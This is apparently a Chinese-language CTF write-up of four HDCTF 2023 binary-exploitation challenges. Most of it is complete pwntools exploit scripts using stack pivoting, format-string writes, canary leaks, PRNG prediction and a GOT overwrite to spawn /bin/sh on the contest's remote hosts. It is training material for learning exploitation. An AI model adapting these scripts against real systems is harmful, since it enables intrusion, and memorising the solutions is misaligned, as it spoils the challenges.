pwnner

附件

有后门函数,seed是一个固定值,

//伪随机数
#include <stdio.h>
#include <stdlib.h>
int main()
{
int b;
srand(0x39);
for (size_t i = 0; i <1; i++)
{
b = rand() ;
printf("%d ", b); #1956681178
}
return 0;
}
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

p = remote('node1.anna.nssctf.cn',28067)

p.sendafter("name:\n",'1956681178')

payload = 'a'*0x48 +p64(0x4008B3)

p.sendlineafter("next?\n",payload)

p.interactive()

KEEP ON

附件 普通的栈迁移,用格式字符串漏洞泄露old_rbp ,

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

p=remote('node4.anna.nssctf.cn',28609)

p.sendafter(": \n",'%16$p')

p.recvuntil('0x')

rbp = int(p.recv(12),16)

print(hex(rbp)) 

payload ="aaaaaaaa" +p64(0x4008d3)+p64(rbp-0x60+0x20)+p64(0x4005e0)+'/bin/sh\x00'

payload = payload.ljust(0x50,'a') +p64(rbp-0x10-0x50)+p64(0x4007f2)

p.recvuntil("keep on !\n")

p.send(payload)

p.interactive()

Makewish

附件 没有种子函数,默认为0,用gdb调试或用第一题的伪随机数脚本可以得到随机数,

用puts泄露canary,off by null 漏洞,覆盖rbp最后一字节为\x00,实现栈迁移

即使exp是真确的,也不能保证百分百一次性打通,

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

p = remote('node4.anna.nssctf.cn',28727)

system = 0x4007Cb

ret = 0x4005d9

p.sendafter("name\n\n",b'a'*0x29)

p.recvuntil('a'*0x29)

canary = u64(p.recv(7).rjust(8,'\x00'))

print(hex(canary))

p.sendafter("key\n\n",p32(0x000002c3))  #由于read只能读四个字节,不能用sendline,

payload = p64(ret)*10 +p64(system)+p64(canary)

p.sendafter("welcome to HDctf,You can make a wish to me\n",payload)

p.interactive()

Minions

附件 计算偏移,用%d$n (d:表示十进制数) 往key写数据,或者用fmtstr_payload{偏移,{key:数据}}

这道题用栈迁移迁到0x6010C0,是不可行的,因为0x6010C0离非rw段太近了

          0x600000           0x601000 r--p     1000     #非rw段
0x601000 0x602000 rw-p 1000

我将介绍两种方法解决这道题目

方法一

栈循环一次,栈迁移到更高的地方

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

p = remote('node1.anna.nssctf.cn',28190)
#p = process('./4')
elf = ELF('./4')
def d():
gdb.attach(p)
pause() bss = elf.bss(0xe00) rdi = 0x400893 leave_ret = 0x400758 key = 0x6010A0 again = 0x4007DE system = 0x4005c0 binsh = 0x6010C8 payload = '%102c%8$n'+'a'*7 +p64(key) p.sendlineafter("Welcome to HDCTF.What you name?\n\n",payload) payload = 'a'*0x30 +p64(bss+0x30)+p64(again) p.sendafter("welcome,tell me more about you\n",payload) p.sendlineafter("That's great.Do you like Minions?\n",'/bin/sh\x00') payload = p64(rdi)+p64(binsh)+p64(system) payload = payload.ljust(0x30,'\x00')+p64(bss-8)+p64(leave_ret) p.sendafter("welcome,tell me more about you\n",payload) p.sendlineafter("That's great.Do you like Minions?\n",'/bin/sh\x00'*5) p.interactive()

方法二

栈循环两次,将printf_got修改为system

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

p = remote('node1.anna.nssctf.cn',28627)

elf = ELF('./4')

key = 0x6010A0

main  =0x4007Ae 

system = 0x4005c0

payload = '%102c%8$n'+'a'*7 +p64(key)

p.sendlineafter("Welcome to HDCTF.What you name?\n\n",payload)

payload2 = 'a'*0x38+p64(main)

p.sendafter("welcome,tell me more about you\n",payload2)

p.sendafter("That's great.Do you like Minions?\n",'/bin/sh\x00')

payload = fmtstr_payload(6,{elf.got['printf']:system})

p.sendafter("Welcome to HDCTF.What you name?\n\n",payload)

p.sendafter("welcome,tell me more about you\n",payload2)

p.sendafter("That's great.Do you like Minions?\n",'/bin/sh\x00')

p.sendafter("Welcome to HDCTF.What you name?\n\n",'/bin/sh\x00')

p.interactive()

HDCTF_2023的更多相关文章

随机推荐

  1. Mxgraph

    1. Hello World! Creating an HTML page that links the mxGraph client JavaScript, Creating a container ...

  2. 【组会】2023_1_27 google soli

    Soli: Ubiquitous Gesture Sensing with Millimeter Wave Radar (59) soli是一项运用微型雷达监测空中手势动作的传感技术,这种特殊设计的雷 ...

  3. 重写antd组件样式

    :global { .ant-select-selection-placeholder { color: #FFF; font-size: 14px; } .ant-select-selection- ...

  4. 思考20230208-关于chatGPT

    最近的ChatGPT火了,我今天FQ.充了1 USD买了个虚拟手机号创建了openAI 的账号,试了一把,它的表现令我叹为观止.他已经不再是简单的基于海量数据在网络上搜索已有的答案,而是会根据用户的想 ...

  5. Spring 常见问题 - 2

    1. @Component, @Controller, @Repository, @Service 有何区别? @Component:这将 java 类标记为 bean.它是任何 Spring 管理组 ...

  6. Spring注解和一些类

    Spring基础相关 声明Bean,类注解 @Component@Service@Repository IOC,自动注入,属性注解 @AutoWired @Resource @Inject 其他 @I ...

  7. 比 poi导入导出更好用的 EasyExcel使用小结

    转载请注明出处: 官方文档: https://easyexcel.opensource.alibaba.com/docs/current/quickstart/read 1.简洁 Java解析.生成E ...

  8. FinOps首次超越安全成为企业头等大事丨云计算趋势报告

    随着云计算在过去十年中的广泛应用,云计算用户所面临的一个持续不变的趋势是:安全一直是用户面临的首要挑战.然而,这种情况正在发生转变. 知名IT软件企业 Flexera 对云计算决策者进行年度调研已经持 ...

  9. 3.错误代码C4996

    3.错误代码C4996 错误 C4996 'strcpy': This function or variable may be unsafe. Consider using strcpy_s inst ...

  10. 带你深入Java Log框架,彻底搞懂Log4J、Log4J2、LogBack,SLF4J

    最近系统被扫出来还在使用老旧的log4j,需要升级到最新的log4j.但是在升级的发现,Java相关的日志处理库有log4j, log4j2,slf4j和logback,初一看确实有点头大,那么区别是 ...